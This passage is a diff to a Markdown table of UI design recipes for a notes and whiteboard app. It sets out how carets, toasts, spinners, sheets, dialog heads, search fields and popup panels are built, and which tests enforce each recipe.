+| A disclosure marker (the thing that says a row folds: a Settings fold, the help accordion, a task log, the Library's Contents, notes and outlines) | **One caret**: Phosphor `ph-caret-down` at 1em of its row, in the row's own colour, turned `rotate(-90deg)` while closed and upright when open, on `--motion-fast` (none under reduced motion). In markup it is `<i class="ph ph-caret-down contents-caret">`; on a `<summary>` it is the `::before` that 08-consistency.css's disclosure rule draws ("The chevron the native marker was hiding"), so a new fold family joins that rule's list rather than drawing its own. Never a triangle or chevron built from borders (INBOX 464 (14): a 5x6px border triangle in Settings beside the Library's 16px caret) | `tests/test_disclosure_marker.py` |
+| Choosing files to bring in (an import, an upload) | **One step**: a ghost button carrying the verb ("Import files", "Import a folder", "Upload") over a hidden `input[type="file"]` it clicks; choosing the files starts the work. The picker's own Cancel is the way out before; after, a toast with Undo (`toastAction`) puts it back, for an import by binning exactly the notes it made (`undoImport` in settings-data.js, from the ids `/import/markdown` and `/import/document` return). Never the browser's own "Choose files" box beside a second button that does the work (INBOX 464 (18): three imports in Settings, Data were two steps each) | `tests/test_import_one_step.py` |
+| An on/off setting | `label.setting-check` with the switch first. **The switch stands on the group's text edge**: in a Settings group the row hangs its padding and edge outside the column (08-consistency.css, INBOX 464), so the switch lines up with the head, labels and hints and the hover fill bleeds into the group's padding; measured before, all 130 switch rows sat 9px inside the column. A checkbox `.check-row` is the same row: no fill when on (08-consistency.css), a `--divider` hairline between rows, `--space-4` from the switch to its label, and the switch first in the markup | `scratchpad/ui-sweeps/switches.js`, `scratchpad/ui-sweeps/switchalign.js`, `scratchpad/ui-sweeps/togglerows.js`, `tests/test_ui_recipes.py` |
 | Asking for the password for one action (unlocking private notes, turning sign-in off) | `askPasswordPrompt({title, message, submitLabel, submit})` in app.js: the lock screen's own card in `data-mode="prompt"`, lifted above the dialogs (`.lock-prompt`, z-index 1045), with "Not now" and Escape as the way out; `submit` throws to put its message under the field. Never a second password form: the four `type="password"` fields are the lock card's and Change password's three | `tests/test_lock_boundary.py` |
 | Two to four exclusive choices | `.seg` with `aria-pressed` | `tests/test_ui_signatures.py` |
 | Two to four toggles that belong to one question (a filter set that is always all of them, none of them removable), in a row with space for them | `.seg.seg-multi`: the same well, `aria-pressed` on **every** segment rather than on one, never wrapping, the word beside the icon above 1200 and hidden (not dropped) below it so the accessible name is the same at every width. Not a row of chips: a chip is a filter you can take off | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/timelinedock.js` |
 | The same set in a row that is already full, or whose labels are words rather than glyphs | A `details.dock-menu` whose summary is a ghost button saying what the filter is set to ("Kinds: all", "Kinds: notes, boards"), holding one `.doc-dock-menu-check` row per member (icon, word, checkbox). One width at every zoom, where a well of four is as wide as its four labels: the Timeline's was 441px of a dock that also holds a search box, a view switch and Options, and at 150% zoom it collided with them (INBOX 214). The rows are `.doc-dock-menu-check` so the menu stays open while you tick them, and a `change` handler, not `click`, since a checkbox inside its own `<label>` fires both | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/chrome214kinds.js` |
-| A brief confirmation | `toast(text)`; with one action, `toastAction(text, label, fn)` | |
+| A brief confirmation | `toast(text)`; with one action, `toastAction(text, label, fn, { go })` (an opener passes `go`, see the toast row below) | |
+| A message about something the app expects (a field left empty, nothing to act on yet, an add-on or model that is off, a limit, a capability the browser lacks) versus a fault | **`toast(text, "info")`** for the expected situation: a plain toast, no "Report this", not silenced by "mute notifications", one short sentence that says what to do next. **`toast(text, true)`** only for a fault (a failed request, a network error, an exception); the helper shows a request the server refused with a 4xx as plain by itself (`toast.refused`, set in `api()`). A new red toast with a message of its own is listed with its reason in the test | `tests/test_error_toasts.py` |
+| A notification row (the bell's panel) | **One row recipe** (INBOX 585): four grid columns, the unread dot (`.notif-dot`, in every look), the icon, the text column (title, then the description, then the row's action as `.notif-cta`, all wrapping under the title only), and `.notif-side`, where the time sits and the read circle and remove cross replace it while the row is pointed at or focused (on touch they show and the time goes under them). Every column's first line is `--notif-line`, the title's line, so dot, icon, title and controls share a centre; nothing is laid over the text; padding `--space-3` on all four sides | `tests/test_notification_actions.py`, `scratchpad/ui-sweeps/notif1005-sweep.js` |
+| The state of an optional engine a surface depends on (Tesseract for the OCR workspace: can it run, in which language, and one action when it cannot) | **The engine line**, `ocrEngineMount(host, {readers, settings, onChange})` in ocr-engine.js (a lazy piece): one `.ocr-engine-line` of a state chip (an `item-label is-ok` chip when ready, `.ocr-engine-chip` with `is-warn` when not), one muted sentence that names the cause and what still works, and **the one control that fits the state**: the language `select` when it can run, a filled Install button when it cannot, a `progress` bar with the installer's own step while it installs (followed from `GET /extras`, the Packages panel's source), and Try again plus the reason when it fails. The status is the server's (`ocr.engine_status`, carried by `GET /ocr-readers`), never inferred from an installer's exit code, and the same object draws the workspace's line and, as `settings: true`, only the language choice in the Packages row, which keeps its own Install, Reinstall and Remove: one place manages it, the other shows it. A read that cannot run says so and says what to do (`ocrChooseReader`: the other engine takes it and the message names both, or an instruction); it never answers with a success over nothing | `tests/test_ocr_engine_ui.py`, `tests/test_ocr_engine.py`, `scratchpad/ui-sweeps/ocrflow.js` |
+| Something is working on it (an AI call, a download, a long read: any inline wait that is not a skeleton and not the chat's reply dots) | **One ring, `.spinner`**, drawn by `spinnerEl()` or, inside any label, the `ph:spin` marker: `setLabel(el, "ph:spin Reading…")`, `chip("ph:spin Filing…")`. It is 1.15em of the text beside it (the size `.ph` gives an icon), a `--spinner-stroke` (2px) border, `--accent-text` (the one colour that holds contrast on the page and on `--accent-soft`; `currentColor` made a 2px ring in a muted line vanish; the only two exceptions are a filled button, where it takes the button's text colour because accent on accent would vanish, and a danger button, whose ring is its red like its icons), one turn per `--spinner-turn` (0.9s). **Reduced motion** keeps the ring and pulses its opacity (`--spinner-pulse`, 1.8s), never a frozen ring and never a swapped glyph; progress motion "always" still turns it. **A button** is busy through `setBusy(button, true, "Saving…")` and `setBusy(button, false)`, which disables it, sets `aria-busy`, puts the ring first and puts back exactly what was there; never `disabled` plus a hand-set label. **Copy**: sentence case, one real `…` or none, never `...`, no em-dash; "Saving…" for a write that settles at once may stay words, anything that waits on a model, the network or a download carries the ring. Not this recipe: the skeleton (`showSkeletons`), the chat reply dots (`typingDots`, the model's answer on its way, in a bubble), the companion's poses, the boot splash | `tests/test_spinner_recipe.py` (no second turn keyframe, no `circle-notch`, no `...`, no hand-set `aria-busy` on a button, every animation name has a `@keyframes`), `scratchpad/ui-sweeps/spinners.js` |
+| When a job last ran and how it went (a maintenance action, a background pass, an import) | **The last-run line**: `<p class="status job-line" role="status" data-job-line="<kind>"></p>` beside the job's control (or `jobLineEl(kind)` for a control built at runtime), filled by `refreshJobRuns` in settings.js from `GET /jobs/last-runs`, one record per kind kept by `core/jobruns.py`. Quiet `.status` text, "Last run 2h ago · succeeded · 412 notes indexed", the exact time and the duration on hover; **red (`.error`) only on a failure, and then it says why**; a stop is "stopped", never red; running is the `.spinner` ring and "Running…" (the line polls itself while it shows). A new job adds its kind to `jobruns.KINDS`, wraps its work in `with job_run(kind) as run:` and sets `run.result`; the Background jobs overview lists it with no frontend change | `tests/test_job_runs.py` (every line names a known kind; every kind is written by a job), `scratchpad/ui-sweeps/joblines.js` |
 | A dialog | `.card.modal-card` (settings-sized) or `.card.space-dialog` (small), opened through the app's modal helpers, never a bare `<dialog>` with its own chrome | `tests/test_ui_signatures.py` |
-| A sheet (a panel that arrives from an edge, which is what a phone gets instead of a column) | `openSheet({label, name, build})` in phone-shell.js: a `.modal-overlay.sheet-overlay` holding a `.card.modal-card.sheet-card`, so the scrim, the z-index tier and the backdrop press are the dialog's own. It comes from the bottom edge at every width, names itself in an `h2.sheet-title` with an X (`.sheet-close`) beside it in a `.sheet-head`, closes on that X, on Escape (captured) and on a backdrop press, takes focus on open and hands it back to the opener on close, holds its rows in a `.sheet-list` of full-width `.sheet-row` buttons at `--target-min`, and pads its foot with `env(safe-area-inset-bottom, 0px)`. Two sheets predate the recipe (`.sidebar-sheet-open`, `.graph-popup-sheet`) and are the only hand-built ones allowed. They stay hand-built on purpose, and the reason is the recipe's own boundary: `openSheet` builds a **modal bottom** sheet out of nothing, and those two are **in-place** sheets, elements already on the page that become one inside a band. Moving them onto it would cost each the thing it was built for (the sidebar keeps a rail on screen with its opener on it, which is the way back; the graph's is deliberately not modal, so the map it came from stays visible). What an in-place sheet does share is the dismissal, through `wireInPlaceSheetDismissal` in sheets-selects.js: captured Escape, a press outside, and focus back on the opener. One variant exists, `corner` (Atlas, the guide panel): a chat is a column, so above 600px it takes a reading width and **floats**, one inset on both edges, all four corners on `--radius`, and its foot padded like a card rather than with `.sheet-card`'s home-indicator inset; below 601px it is the bottom sheet again, because in a 390px window the corner is the window. A variant that touches an edge keeps the edge sheet's geometry; one that does not, does not. A second variant, `page` (the note opened on a phone, `openNotePage` in phone-shell.js; the Library reader below 600, `ocrPhonePage`): the whole screen, no cap, no rounded top, the close relabelled as a back chevron, and the surface's own actions in a `.thumb-bar` at its foot, **moved** there from wherever the wide layout keeps them and moved back above 600, never a second copy. A surface that already is a `.modal-overlay` dialog takes the variant's two classes rather than being rebuilt on `openSheet`, and the stamping is written in app.js whatever file owns the surface: the variant class is the loophole otherwise, and `tests/test_ui_recipes.py` fails any other file that writes one | `tests/test_ui_recipes.py` (hand-built sheets may not multiply; the corner variant floats), `scratchpad/ui-sweeps/phonemore.js`, `scratchpad/ui-sweeps/guidepanel.js` |
+| A sheet (a panel that arrives from an edge, which is what a phone gets instead of a column) | `openSheet({label, name, build})` in phone-shell.js: a `.modal-overlay.sheet-overlay` holding a `.card.modal-card.sheet-card`, so the scrim, the z-index tier and the backdrop press are the dialog's own. It comes from the bottom edge at every width, names itself in an `h2.sheet-title` with an X (`.sheet-close`) beside it in a `.sheet-head`, closes on that X, on Escape (captured) and on a backdrop press, takes focus on open and hands it back to the opener on close, leaves with a `--motion-fast` fade (`.sheet-leaving`, added by `close`, which removes the overlay when the transition is over and at once under reduced motion; `onGone` runs then), holds its rows in a `.sheet-list` of full-width `.sheet-row` buttons at `--target-min`, and pads its foot with `env(safe-area-inset-bottom, 0px)`. Two sheets predate the recipe (`.sidebar-sheet-open`, `.graph-popup-sheet`) and are the only hand-built ones allowed.

 | A bar of actions above the on-screen keyboard (what a phone gets instead of a toolbar it cannot reach) | `.thumb-bar`: fixed to the bottom edge, `role="toolbar"` with its own label, shown by a `max-width: 600px` block and nothing else, every control at 44px, and its bottom padding a `max()` of `env(keyboard-inset-height)`, `var(--keyboard-inset)` (app.js writes it from `visualViewport` once, for everything) and `env(safe-area-inset-bottom)`. **Never its own `visualViewport` listener.** Used by the documents editor's phone bar | `tests/test_ui_recipes.py` |
 | A floating panel over a canvas | `.card.glass` plus the panel on the `[data-glass="off"]` list | `tests/test_ui_recipes.py` |
-| One surface given the whole window (the documents editor's focus mode) | A class on the tab page (`#tab-documents.doc-focus`): `position: fixed; inset: 0` over the top bar and the tab strip, every other band of chrome `display: none`, the content at its own measure and centred, and no blur on a window-sized card. What is left is **one** floating `.card.glass` pill (`#doc-focus-bar`, `role="toolbar"`): what this is, its one live fact, and a **worded Exit**. **Nothing the page offers is out of reach from it** (INBOX 426 a, b): a Tools toggle (`#doc-focus-tools`, `aria-pressed`) brings back the dock and the formatting strip in their own places, and a Suggestions toggle (`#doc-focus-prose`, `aria-expanded`) opens the writing panel as a side panel fixed to the window's right edge while the page gives up that room; below 600 the two keep their icons and their names move to `aria-label` and title. It fades by opacity alone after an idle wait, comes back on a pointer move, a hover or a keyboard focus, and stops animating under reduced motion. Escape leaves only when nothing else spent it (`defaultPrevented`, `activeOverlay()`, an open menu); a key that has a meaning there (F11) is scoped to the page being shown. Remembered in `sessionStorage`, never for good: a fresh launch never opens chrome-less. The browser's Fullscreen API is an extra button on the pill, shown only where `document.fullscreenEnabled` | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/docfocus.js` |
-| A grip you drag on a canvas (a resize corner, a link's end, a line's waypoint) | A circle or box filled in the thing's own colour and stroked in `var(--card)`, `cursor: move`, and **`transform-box: fill-box; transform-origin: center; transform: scale(var(--wb-inv-zoom))`**, which is what keeps a grip one size to the hand at every zoom (a link's bend grip was the one that did not: 24px across at 2x against 12px at 1x). It takes the pointer only while it is revealed, by selecting what it belongs to or by pointing at it: an invisible grip with `pointer-events: auto` swallows the press meant for the line under it, which has now happened twice, to the mid-line `+` and to the map's own waypoint. Its `pointerdown` stops propagating, or the canvas pans under the drag, and it carries a `<title>` saying both its gestures. Used by `.wb-resize-handle`, `.wb-link-endpoint-handle`, `.wb-link-bend-handle`, `.wb-map-edge-handle` | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/mindmapcurve.js` |
+| Styles only a lazy bundle's surfaces draw (a board's or the documents editor's own panels) | `frontend/css/library-lazy.css`, loaded with the Library bundle (`LAZY_MODULES.library`; `ensureModule` gives a `.css` file a `<link>`), never a boot stylesheet, which the boot budget holds. Linked after every boot file, so only new surfaces go there, never an override of a boot rule; listed last in `tests/_css_paths.py` so every CSS lint reads it | `tests/test_lazy_css.py`, `tests/test_boot_budget.py` |
+| One surface given the whole window (the documents editor's focus mode) | A class on the tab page (`#tab-documents.doc-focus`): `position: fixed; inset: 0` over the top bar and the tab strip, every other band of chrome `display: none`, the content at its own measure and centred, and no blur on a window-sized card. What is left is **one** floating `.card.glass` pill (`#doc-focus-bar`, `role="toolbar"`): what this is, its one live fact, and a **worded Exit**. **Nothing the page offers is out of reach from it** (INBOX 426 a, b): a Tools toggle (`#doc-focus-tools`, `aria-pressed`) brings back the dock and the formatting strip in their own places, and a Suggestions toggle (`#doc-focus-prose`, `aria-expanded`) opens the writing panel as a side panel fixed to the window's right edge while the page gives up that room, and a Sidebar toggle (`#doc-focus-sidebar`, `aria-pressed`, INBOX 453 (1)) is its mirror on the left: the document list and outline as a panel fixed to the window's left edge on the solid modal ground, the page giving up the room, both panels starting at `--doc-focus-panel-top`, under the pill; below 600 the three keep their icons and their names move to `aria-label` and title, and the pill gives up the word count (400) then the save state (340) before it overflows. Escape closes the sidebar first and leaves the mode on the next press; below 720 opening one side panel closes the other. It fades by opacity alone after an idle wait, comes back on a pointer move, a hover or a keyboard focus, and stops animating under reduced motion. Escape leaves only when nothing else spent it (`defaultPrevented`, `activeOverlay()`, an open menu); a key that has a meaning there (F11) is scoped to the page being shown. Remembered in `sessionStorage` (the mode, Tools and Sidebar), never for good: a fresh launch never opens chrome-less; the restore runs after the file has loaded (`onDomReady`), not inline, where a `const` further down the file threw into the swallowing `catch`. The browser's Fullscreen API is an extra button on the pill, shown only where `document.fullscreenEnabled` | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/docfocus.js` |
+| A grip you drag on a canvas (a resize corner, a link's end, a line's waypoint) | A circle or box filled in the thing's own colour and stroked in `var(--card)`, `cursor: move`, and **`transform-box: fill-box; transform-origin: center; transform: scale(var(--wb-inv-zoom))`**, which is what keeps a grip one size to the hand at every zoom (a link's bend grip was the one that did not: 24px across at 2x against 12px at 1x). It takes the pointer only while it is revealed, by selecting what it belongs to or by pointing at it: an invisible grip with `pointer-events: auto` swallows the press meant for the line under it, which has now happened twice, to the mid-line `+` and to the map's own waypoint. Its `pointerdown` stops propagating, or the canvas pans under the drag, and it carries a `<title>` saying both its gestures. Used by `.wb-resize-handle`, `.wb-link-endpoint-handle`, `.wb-link-bend-handle`, `.wb-link-waypoint-handle` and `.wb-link-waypoint-add` (a connector's bends, on every line style: filled, and a hollow ring to add one; a map cross-link keeps `.wb-link-bend-handle`), `.wb-link-label-handle` (a connector label's slide), `.wb-clone-grip` (clone and connect), `.wb-map-edge-handle`; in a document, `.cm-md-image-grip` on a picture in Live (no zoom to undo there, so no scale; 24px on a touch screen; a slider to the keys, DOCUMENTS_PLAN decision 8) | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/mindmapcurve.js` |
 | A ring of actions around a canvas item (a radial) | A pie menu: `.wb-map-radial` cut into `.wb-map-radial-slot` **sectors**, never buttons laid on a band (the owner: "not just buttons sitting ontop of it"). Each slot is a button the size of the whole ring, placed with `left`/`top` from `--wb-radial-outer` and **never** with `translate` (the press cue owns it), clipped to its wedge by the `clip-path: path()` `wbFitMapRadialBand` writes, which also clips its hit area; its icon and word are a `.wb-map-radial-face` at the wedge's middle. The ring's `::before` annulus shows through a 1.5px gap and a 1px rim as the dividers. The hole holds the item (`wbSizeMapRadial` sizes it from the item's box) and a ring slid in from an edge pans the board with it, so the hole never loses its item. Hover and focus fill the sector; focus also gets the edge the ring draws (`wbMarkMapRadialSector`), because an outline is clipped away. `role="toolbar"`: the arrows walk the sectors (an arrow with the ring open enters it), Enter or Space runs one, Escape closes and hands the focus back to the board. A menu opened from a sector hangs from the sector's own box (`wbMapRadialSectorRect`), never the button's, which is the whole ring | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/mapradialfit.js`, `scratchpad/ui-sweeps/mapradialmore.js` |
 | Any surface that blurs | on the `[data-glass="off"]` list, radius from `--glass-blur`, never a px | `tests/test_ui_recipes.py`, `tests/test_style_scale.py` |
-| A control added to the bottom status bar | one of the bar's three zones, in this order: `state` (what the app is holding or doing, left end, the only zone that shrinks), `tools` (the doorways: the palette hint, the agent, the guide, Find, the clock) and `control` (back, forward, history, undo, redo). **A new control goes in `tools`**, which is the only zone that grows, and it grows leftwards from `control`, which owns the right end and has fixed membership. Written as `data-status-zone` on a direct child of `#status-bar`; nothing sits in the bar outside a zone. The rule exists because the bar was a flat list and every control added to it was appended at the right end: measured at 1440, that had pushed undo and redo 391px and the navigation group 467px off the end, which is what the owner reported (INBOX 307). Below 600 the bar is not on screen: `dockPhoneStatus` (phone-shell.js) moves Back, Undo and the AI dot into the header, every other control is a row of the header menu through `PHONE_STATUS_ROWS` (the row presses the bar's own button) or, for Reminders, Ask the agent and Guide, the tab bar's More sheet, and the bar comes back only while a job, an activity, offline or power saver is showing, so **a new control also gets a `PHONE_STATUS_ROWS` entry** | `tests/test_status_bar_grammar.py`, `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/uitrio.js`, `scratchpad/ui-sweeps/phonechrome.js` |

In `tools`, Commands is the one worded doorway; every other doorway is an icon whose word is visually hidden, named by `aria-label` and explained by `title` (INBOX 618, `scratchpad/ui-sweeps/bars618.js`), and the counts in `state` take the item's muted ink at weight 500. Written as `data-status-zone` on a direct child of `#status-bar`; nothing sits in the bar outside a zone.

One quiet pill (`--btn-quiet-bg`, the hairline as an inward outline so the pill is the buttons' 32px), no dividers; round ghost buttons, the tint on hover and a deeper one pressed. Arrow keys nudge while it is focused, Shift+arrow by the larger unit; the readout it changes fades in (`.stepper-fresh`). Two steppers sit in a `.stepper-pair`, which wraps as a unit | `tests/test_ui_recipes.py` (`test_the_quiet_button_recipe_holds`) |

+| A Clear control on a box people type into (Capture, Quick note, Ask, Chat, the popup agent) | `button.ghost.icon-only.small.field-clear.hidden#<box>-clear` with `ph-eraser`, `aria-label="Clear"` and `title="Clear"`, in the box's own foot or row (Capture: `.note-composer-foot`, left of the count; Quick note: left of its action row; Ask, Chat and the agent: right after the field), never a floating control. `frontend/js/field-clear.js` (lazy) shows it only while the box holds something and wipes the words (Capture also its title, tags and staged files); the **Undo** is `toastAction("Cleared.", "Undo", ...)`, or a `.link-button` on the status line where a modal dialog or the agent overlay would cover the toast. Undo puts the words back in front of anything typed since. Escape is not touched | `tests/test_field_clear.py`, `scratchpad/ui-sweeps/` (session scratchpad) |
+| An icon beside words (a button, a chip, a badge, a menu row, a facts line) | the label grammar, `setLabel(el, "ph:icon Words")` (or `<i class="ph ph-icon ph-lead">` before words in markup): the host is a flex row with `align-items: center` and a `gap` token, the icon `line-height: 1` at 1.15em. **The icon lands on the words' cap-height centre, in whatever font the page is drawn in** (INBOX 592). This is the one vertical target for an icon beside words, chips and badges included: every sweep measures against it (`iconalign.js`'s `cap`, `badgealign.js`'s `dy`), and the x-height band INBOX 503 measured against is retired (it read a cap-aligned icon 1.5px high on a skill's facts and asked for the wrong fix). A flex row centres the words' box, whose middle is the font's ascent-and-descent middle: on the capitals in DejaVu Sans, 0.064em above them in Segoe UI, so every earlier fix measured right in the sandbox and high on Windows. `measureLabelOptics` (settings.js) reads that gap from the live font into `--ph-cap-dy` and `.ph-lead`/`.ph-trail` move by it (`translate`, which an inline icon ignores: in running text `.ph`'s `vertical-align` already puts it there from the baseline); `--ph-ink-dy` corrects the few glyphs whose ink is off their em box's centre. Every fact on one line is untrimmed words, so they share a centre. Never `text-box` on a label's words, never a per-family `translate` on its icon | `tests/test_icon_label_align.py`, `scratchpad/ui-sweeps/iconalign.js` (`FONT=segoe` draws in Segoe UI's vertical metrics) |
+| A chip | `.chip`; a chip is a fact, never an action (an action is a button). **A fact has no edge and no hover** (WORLD_CLASS_PLAN 1.2); a chip you press is `chip(text, cls, onClick)`, a `.chip-interactive` with a button's role, and any edge or hover tone it takes is written on that class, never on `.chip` (`tests/test_consistency_contract.py`; two keep an edge by decision, the label recipe and a suggested tag, `META_EDGED`). **Its words are always a `.ph-text` span** (`chip()` wraps bare text), never trimmed (INBOX 592: words trimmed in a chip and untrimmed beside it, the date on a note's facts line, sat 2px apart in Segoe UI); its icon is the label recipe's (the next row), one `--space-1` gap between them, a `:where(.chip)` height floor of 1.125rem that every family's own floor beats. A new chip family states its own floor if its height was its line box. Never a hand-set `translate` on a chip's icon | `tests/test_badge_recipe.py`, `scratchpad/ui-sweeps/badgealign.js` (every chip family by ink at 3x: the icon against its words' cap-height centre, icon and words against the chip's centre, gap, padding, rows of chips; `badgetry.sh` tries a stylesheet in another UI font first) |
+| A board or a map drawn large in a dashboard widget | `dashMapFeature(board)` (dash-boards.js): one `button.dash-board-feature`, the whole picture the press, the picture from `mapPreview(board, {size: "card"})` and nothing else, its height from `dashMapFeatureHeight` (the map's natural height at the widget's width, at least 96px, at most 168px for a map of six topics or fewer and 320px otherwise, fitted whole past that), the name and `mapCountLabel` under it in the rows' own type. The widget's body does not scroll (INBOX 553(d)) | `tests/test_dash_map_feature.py`, `scratchpad/ui-sweeps/mmdoc1005-dashmap.js` |
 | Another surface of the app embedded in somebody's text (a board or a map as an object in a note or a document) | one `.note-embed` frame, the same dashed frame a transcluded note wears, because the reader has to be able to see that this is not their own writing. Inside it the whole card is one `<button>` (`.board-embed-open`, padding on the button rather than the frame, or the press stops short of the edge it is drawn inside), the picture comes from `mapPreview(board, {size: "card"})` and nothing else, the facts line is `.library-file-meta` carrying `mapCountLabel`, and the reference is written by `boardEmbedMarkdown` so the "/" menu and the board's own "Add to a note" cannot spell the same object two ways. **A target that is gone leaves a tombstone**, `.board-embed-gone` naming what was there, never a card that quietly disappears: the reference carries its title for exactly this. And a miss is not a tombstone until the index has been refreshed once (`loadMapBoardIndex(true)`), because a board made a minute ago is missing from an index built before it | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/noteobject.js` |
 | A fact on a facts line that is also the way in (the picture card's reading) | `.library-chip` on a `<button>`, sitting on the line beside the facts it belongs to. It opens the surface where the thing can be read, **never the card it is on**: a 180px tile has no room to hold a transcription, and a `<details>` that tried took the card from 240.7px to 416.3px and set the height of its five neighbours with it (INBOX 279). Its size comes from its own class, because a rule led by a facts line's handle may not carry a `font-size`: that rank is `.library-file-meta`'s alone | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/libreadingfoot.js` |
-| A dialog's head (any modal or popup panel) | **The Documents AI assistant's head is the reference** (the owner, 2026-09-27: "I actually reallly like the design of the document editor's ai assistant popup panel. especially with the design of the close, history,a nd tooltip buttons"): the title, then its `data-help-for` '?' right beside it, then, pushed right, an all-icon group of `button.icon-only.ghost.small.dialog-head-btn` (history or other tools, Close last), each `aria-label`led and `title`d, a visible `:focus-visible` ring, 32px on desktop and 44px under touch/coarse pointer (`--dialog-head-btn-size`, its own token: `--target-min` drives ~150 other rules across the app, so raising its floor was not this task's to do). Below: a `.seg` pill when the dialog has modes, one line of description, then the input row with one filled action. `.dialog-head` / `.dialog-head-actions` / `.dialog-head-btn` (08-consistency.css), rolled out to doc-ai, Notifications, Earlier versions, Connections, the bin, Keyboard shortcuts, Tools & features, Meeting notes, Improve writing, Quick sketch, Settings (`settings-close`) and now the chat attach popup (`note-picker-close`), which had neither a name nor a way out of its own before | the dialog-head ratchet in `tests/test_ui_recipes.py` |
-| A search field with a leading icon (a real input that filters in place, not a fake field that opens a dialog like `#dash-find`) | `.search-field` (the well: border, ground, inset, one `:focus-within` ring) holding a `.search-field-icon` glyph and a `.search-field-input`, which turns its own box off so there is one field, not a box in a box ("the bar is the field", the Finder's recipe, 07-whiteboard-misc.css). Generalised from the Web panel's `#web-query`/`#web-stop`-keyed `.web-search-field` (03-dashboard-widgets.css) when the chat attach popup needed the same shape and a second copy keyed to new ids would have been the wrong fix; the Web panel keeps its own ids for now, unmigrated | `scratchpad/ui-sweeps/chatattach.js` |
+| A dialog's head (any modal or popup panel) | **The Documents AI assistant's head is the reference** (the owner, 2026-09-27: "I actually reallly like the design of the document editor's ai assistant popup panel. especially with the design of the close, history,a nd tooltip buttons"): the title, then its `data-help-for` '?' right beside it, then, pushed right, an all-icon group of `button.icon-only.ghost.small.dialog-head-btn` (history or other tools, Close last), each `aria-label`led and `title`d, a visible `:focus-visible` ring, 32px on desktop and 44px under touch/coarse pointer (`--dialog-head-btn-size`, its own token: `--target-min` drives ~150 other rules across the app, so raising its floor was not this task's to do). Below: a `.seg` pill when the dialog has modes, one line of description, then the input row with one filled action. `.dialog-head` / `.dialog-head-actions` / `.dialog-head-btn` (08-consistency.css), rolled out to doc-ai, Notifications, Earlier versions, Connections, the bin, Keyboard shortcuts, Tools & features, Meeting notes, Improve writing, Quick sketch, Settings (`settings-close`) and now the chat attach popup (`note-picker-close`), which had neither a name nor a way out of its own before. **A dialog built in script takes `dialogHead(title, close)`** (selection.js, INBOX 548): the notebook pickers, How are these connected, Manage this connection, Manage groups, Review the map, Export this board and a map's facts; the confirm alert's `row confirm-head` is left only to `promptDialog` (a question), held by `CONFIRM_HEAD_DIALOGS`; `scratchpad/ui-sweeps/dialogheads.js`. **One row at every width** (INBOX 552): the actions never wrap or shrink and the title gives way with an ellipsis first (08-consistency.css, overriding a card head row's wrap); the same for the writing Suggestions panel's head, whose Dictionary and dock side sit in its ⋯; `scratchpad/ui-sweeps/headrow.js` (every head's buttons on the title's centre line at 390 and 1440) | the dialog-head ratchet in `tests/test_ui_recipes.py` |
+| A search field with a leading icon (a real input that filters in place, not a fake field that opens a dialog like `#dash-find`) | `.search-field` (the well: border, ground, inset, one `:focus-within` ring) holding a `.search-field-icon` glyph and a `.search-field-input`, which turns its own box off so there is one field, not a box in a box (with two classes, `.search-field > .search-field-input`, at rest, hover and focus: one class lost to `input[type="search"]` whenever the field was not focused and drew a second, offset box, INBOX 485) ("the bar is the field", the Finder's recipe, 07-whiteboard-misc.css). Generalised from the Web panel's `#web-query`/`#web-stop`-keyed `.web-search-field` (03-dashboard-widgets.css) when the chat attach popup needed the same shape and a second copy keyed to new ids would have been the wrong fix; the Web panel keeps its own ids for now, unmigrated | `scratchpad/ui-sweeps/chatattach.js`, `attachkeys.js`, `tests/test_ui_recipes.py` |
+| A popup window or panel (a dialog, a sheet, a floating panel, a popover: the owner, 2026-10-03, INBOX 456: "make sure all the popup windows and panels are the same design and style") | **Three tiers, each with one shell, and the head above for the first two.** **Dialog and sheet** (a scrim, a head, a way out: `.modal-card`, `.space-dialog`, `.sheet-card`, the two palettes): `--radius` (a sheet's bottom corners 0), a 1px `--glass-border`, `--glass-shadow`, `--card-pad-y`/`--card-pad-x`, the dim behind it is `var(--scrim)` and nothing else (it was four values, and Find anything painted the opaque page and hid the app), an inset of `--space-8` from the window at every width (a native `<dialog>` is `max-width: calc(100vw - 2 * var(--space-8))`, so it is the same width as a `.modal-overlay` one on a phone), and a small dialog is `min(34rem, ...)` unless it names its own width. **Panel** (floats over the page with no scrim and still has a head and a way out: the notifications panel, the agent activity panel, the node popup, the guided tour's card, the board overview, the Attach picker): `--radius`, `--panel-pad` (`--space-5`) on every side, the same head. **A multi-select picker** (the Attach picker, INBOX 467 and 485) is that panel at one height for every source, with a `.seg` of sources (each tab carrying a count of what it holds), a `.search-field`, and rows drawn by one renderer (`notePickerRow`): a leading tile (`richPickerTile`, the file's own glyph) or the picture, the name over one muted line of facts (a note's category is a dot in its own colour and quiet text, `.note-picker-category`, never a filled chip; then when, size, where it is used), and a check ring at the right edge that fills with the accent when the row is on, the row taking `--accent-soft`; the real checkbox is in the row, visually hidden, so Space ticks it. Pictures are a grid of the pictures. The list is one tab stop: arrows walk it (and the grid by its columns, and the tabs), Enter is Done, Escape closes. Loading, empty (with its one action) and "showing 60 of N" are rows in the list's place. The dialog footer (`.space-dialog-actions`: the count at the left in quiet text, a ghost Clear, the one filled Done); on a phone it is a sheet of fixed height with the strip on one row. **Every dialog's foot is that row** (INBOX 599, the popup census's foot fields): `row right space-dialog-actions`, `small` buttons (the confirm alert's 32px, 44 under touch), ghosts first and the one filled action last, at the right; a bulk-action row above a list (the bin's Restore) is a toolbar, not a foot. **Popover** (anchored to what opened it, no head, no way out of its own: menus, the help popover, the chat model panel, the clock, a '?' panel): the one popover shell, `--radius-lg`, because it is the smaller surface. **The head is `.dialog-head`** for all of the first two tiers: the title is `.dialog-head-title` (16px, 600, `--ink`, on any tag: `.card h3` is the 12px uppercase eyebrow and a head written as an `h3` or a `strong` used to inherit it), its '?' and every utility and the Close are `.dialog-head-btn` (32px, 44 under touch), **Close last, always an icon**: a worded Cancel in a head (the skill runner's) is the X, and a form's own Cancel stays in its foot as well. A small dialog's markup is `<div class="dialog-head"><h2 class="dialog-head-title">…</h2><span class="dialog-head-actions"><button … data-close-dialog="id">`. `openSheet` stamps all of it on every 